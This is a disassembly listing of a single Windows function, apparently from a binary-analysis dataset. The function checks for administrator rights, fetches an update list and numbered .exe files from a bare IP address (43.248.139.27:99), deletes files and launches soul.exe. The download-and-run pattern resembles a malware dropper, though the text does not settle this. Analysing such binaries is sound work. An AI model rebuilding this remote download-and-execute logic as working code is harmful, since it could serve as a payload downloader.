Function at 0x403520
Capabilities:
Delete file
Get file attributes
Get token membership

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a9f5
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x410008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x1c], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x18]
mov dword [ebp - 0x12c], 0
push eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x14], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4035ac
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x12c]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4035b2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 0x12c]
test eax, eax
je 0x4035c3
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x1c], 0
jne 0x4035ef
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x40b5e4
call fcn.00407500
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea edx, [ebp - 0x131]
call fcn.00407e20
jmp 0x4041cb
lea ecx, [ebp - 0x34]
call fcn.004015f0
push 0x50
lea eax, [ebp - 0x128]
mov dword [ebp - 4], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x128]
call fcn.00404590
mov ebx, 0x7ffffffe
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x24]
mov eax, ebx
sub eax, ecx
cmp eax, 0x12
jb 0x4041e9
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 0x12
cmovae eax, dword [ebp - 0x34]
push 0x40b5fc
push ecx
push eax
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x58]
call fcn.00408ce0
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x88]
call fcn.00403350
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 8
jb 0x4036a7
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40369d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40369d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040984c
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea edi, [ebp - 0x88]
xor eax, eax
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x74], 0x10
mov edx, 0x40b624
mov dword [ebp - 0x44], 7
cmovae edi, dword [ebp - 0x88]
mov word [ebp - 0x58], ax
mov dword [ebp - 0x18], edi
call fcn.00407500
mov ecx, dword [ebp - 0x24]
mov eax, ebx
sub eax, ecx
mov dword [ebp - 0x138], 0
cmp eax, 0x12
jb 0x4041ee
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 0x12
cmovae eax, dword [ebp - 0x34]
push 0x40b5fc
push ecx
push eax
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x198]
call fcn.00408ce0
cmp dword [ebp - 0x184], 8
lea eax, [ebp - 0x198]
cmovae eax, dword [ebp - 0x198]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ecx, dword [ebp - 0x184]
mov esi, eax
cmp ecx, 8
jb 0x40377b
mov edx, dword [ebp - 0x198]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403771
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403771
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040984c
add esp, 8
cmp esi, 0x20
jne 0x403806
mov ecx, dword [ebp - 0x24]
mov eax, ebx
sub eax, ecx
cmp eax, 0xc
jb 0x4041f3
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 0xc
cmovae eax, dword [ebp - 0x34]
push str._version.dat
push ecx
push eax
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x70]
call fcn.00408ce0
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 5
call fcn.00402f50
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x138], eax
cmp ecx, 8
jb 0x403806
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4037fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4037fc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040984c
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
push str.http:__43.248.139.27:99_update.txt
lea ecx, [ebp - 0x1b0]
movq qword [ebp - 0x40], xmm0
call fcn.00406500
lea edx, [ebp - 0x1b0]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x40]
call fcn.004020c0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x19c]
cmp ecx, 8
jb 0x40387d
mov edx, dword [ebp - 0x1b0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403873
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403873
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040984c
add esp, 8
mov esi, dword [ebp - 0x40]
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x1b0], ax
mov dword [ebp - 0x1c], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x3c]
sub ecx, esi
mov dword [ebp - 0x1a0], 0
imul ecx
mov dword [ebp - 0x19c], 7
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x40407b
xor edi, edi
mov dword [ebp - 0x12c], edi
add esi, edi
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [esi + 0x14], 8
mov edi, eax
jb 0x4038d8
mov esi, dword [esi]
push 0xa
lea eax, [ebp - 0x130]
mov dword [edi], 0
push eax
push esi
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstoul]
add esp, 0xc
cmp esi, dword [ebp - 0x130]
je 0x4040a6
cmp dword [edi], 0x22
je 0x40409b
cmp dword [ebp - 0x138], eax
jae 0x404044
mov ecx, dword [ebp - 0x40]
mov eax, ebx
mov esi, dword [ebp - 0x12c]
add ecx, esi
mov edx, dword [ecx + 0x10]
sub eax, edx
cmp eax, 8
jb 0x4041e9
cmp dword [ecx + 0x14], 8
jb 0x403935
mov ecx, dword [ecx]
push edx
push ecx
push 8
push 0x40b69c
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x198]
call fcn.00408ce0
push 0x40b698
lea edx, [ebp - 0x198]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x70]
call fcn.00407750
add esp, 4
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x184]
cmp ecx, 8
jb 0x4039ab
mov edx, dword [ebp - 0x198]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4039a1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
xor eax, eax
cmp dword [ebp - 0x5c], 8
mov word [ebp - 0x198], ax
lea eax, [ebp - 0x70]
cmovae eax, dword [ebp - 0x70]
push eax
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 7
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, dword [ebp - 0x24]
mov eax, ebx
sub eax, ecx
cmp eax, 1
jb 0x4041e9
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 1
cmovae eax, dword [ebp - 0x34]
push 0x40b574
push ecx
push eax
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x180]
call fcn.00408ce0
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x180]
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x168]
add eax, esi
push eax
call fcn.00407820
push str..exe
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x150]
call fcn.00407750
add esp, 8
mov edi, eax
mov byte [ebp - 4], 0xe
mov ecx, ebx
mov edx, dword [ebp - 0x40]
add edx, esi
mov esi, dword [edx + 0x10]
sub ecx, esi
cmp ecx, 0x18
jb 0x4041e9
cmp dword [edx + 0x14], 8
jb 0x403a6a
mov edx, dword [edx]
push esi
push edx
push 0x18
push str.http:__43.248.139.27:99_
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x58]
call fcn.00408ce0
push str..exe
lea edx, [ebp - 0x58]
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1c8]
call fcn.00407750
add esp, 4
mov edx, edi
mov byte [ebp - 4], 0x10
mov ecx, eax
call fcn.004025c0
mov byte [ebp - 4], 0xf
mov bl, al
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 8
jb 0x403aec
mov edx, dword [ebp - 0x1c8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403ae2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 7
mov word [ebp - 0x1c8], ax
cmp ecx, 8
jb 0x403b47
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403b3d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 7
mov word [ebp - 0x58], ax
cmp ecx, 8
jb 0x403b9f
mov edx, dword [ebp - 0x150]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403b95
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x154]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 7
mov word [ebp - 0x150], ax
cmp ecx, 8
jb 0x403c00
mov edx, dword [ebp - 0x168]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403bf6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 7
mov word [ebp - 0x168], ax
cmp ecx, 8
jb 0x403c61
mov edx, dword [ebp - 0x180]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403c57
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
test bl, bl
mov ebx, 0x7ffffffe
je 0x404006
mov ecx, dword [ebp - 0x24]
mov eax, ebx
sub eax, ecx
cmp eax, 1
jb 0x4041e9
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 1
cmovae eax, dword [ebp - 0x34]
push 0x40b574
push ecx
push eax
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x180]
call fcn.00408ce0
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0x180]
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x150]
mov esi, dword [ebp - 0x12c]
add eax, esi
push eax
call fcn.00407820
push str..exe
mov edx, eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x168]
call fcn.00407750
add esp, 8
mov ecx, eax
mov byte [ebp - 4], 0x13
call fcn.00403280
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x154]
cmp ecx, 8
jb 0x403d2a
mov edx, dword [ebp - 0x168]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403d20
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 7
mov word [ebp - 0x168], ax
cmp ecx, 8
jb 0x403d8b
mov edx, dword [ebp - 0x150]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403d81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 7
mov word [ebp - 0x150], ax
cmp ecx, 8
jb 0x403dec
mov edx, dword [ebp - 0x180]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403de2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
push 0x50
lea eax, [ebp - 0xd8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xd8]
call fcn.00404590
mov byte [ebp - 4], 0x14
mov eax, ebx
mov ecx, dword [ebp - 0x24]
sub eax, ecx
cmp eax, 1
jb 0x4041e9
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 1
cmovae eax, dword [ebp - 0x34]
push 0x40b574
push ecx
push eax
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x180]
call fcn.00408ce0
mov byte [ebp - 4], 0x15
lea edx, [ebp - 0x180]
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x150]
add eax, esi
push eax
call fcn.00407820
push str..exe
mov edx, eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x168]
call fcn.00407750
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, eax
cmp dword [eax + 0x14], 8
jb 0x403e83
mov ecx, dword [eax]
mov eax, dword [eax + 0x10]
lea eax, [ecx + eax*2]
push eax
push ecx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0xd8]
call fcn.00406b10
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0x154]
cmp ecx, 8
jb 0x403ede
mov edx, dword [ebp - 0x168]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403ed4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 7
mov word [ebp - 0x168], ax
cmp ecx, 8
jb 0x403f3f
mov edx, dword [ebp - 0x150]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f35
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 7
mov word [ebp - 0x150], ax
cmp ecx, 8
jb 0x403fa0
mov edx, dword [ebp - 0x180]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f96
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, dword [ebp - 0x44]
add esp, 4
cmp ecx, 0x10
jb 0x403fe9
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403fdf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
lea ecx, [ebp - 0xd8]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
call fcn.004044d0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x5c]
cmp ecx, 8
jb 0x404044
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40403a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403697
push ecx
push edx
call fcn.0040984c
add esp, 8
mov ecx, dword [ebp - 0x3c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x40]
sub ecx, esi
mov edi, dword [ebp - 0x12c]
inc dword [ebp - 0x1c]
add edi, 0x18
imul ecx
mov dword [ebp - 0x12c], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x1c], eax
jb 0x4038c6
mov edi, dword [ebp - 0x18]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x40b6f0
call fcn.00407500
mov ecx, dword [ebp - 0x24]
sub ebx, ecx
cmp ebx, 9
jb 0x4041f8
jmp 0x4040b1
push str.stoul_argument_out_of_range
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
push str.invalid_stoul_argument
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const__]
cmp dword [ebp - 0x20], 8
lea eax, [ebp - 0x34]
push 9
cmovae eax, dword [ebp - 0x34]
push str._soul.exe
push ecx
push eax
push ecx
push dword [ebp - 0x16]
lea ecx, [ebp - 0x180]
call fcn.00408ce0
lea ecx, [ebp - 0x180]
mov byte [ebp - 4], 0x18
call fcn.004014e0
mov byte [ebp - 4], 8
mov esi, eax
mov ecx, dword [ebp - 0x16c]
cmp ecx, 8
jb 0x40412b
mov edx, dword [ebp - 0x180]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404121
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404121
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040984c
add esp, 8
mov edx, edi
mov ecx, esi
call fcn.00401320
lea ecx, [ebp - 0x40]
call fcn.004072d0
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x40416f
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404165
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4041bb
push ecx
push edx
call fcn.0040984c
add esp, 8
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
call fcn.004044d0
mov ecx, dword [ebp - 0x20]
cmp ecx, 8
jb 0x4041cb
mov edx, dword [ebp - 0x34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4041c1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4041c1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040984c
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004096f9
mov esp, ebp
pop ebp
ret
call fcn.00401170
call fcn.00401170
call fcn.00401170
call fcn.00401170
int3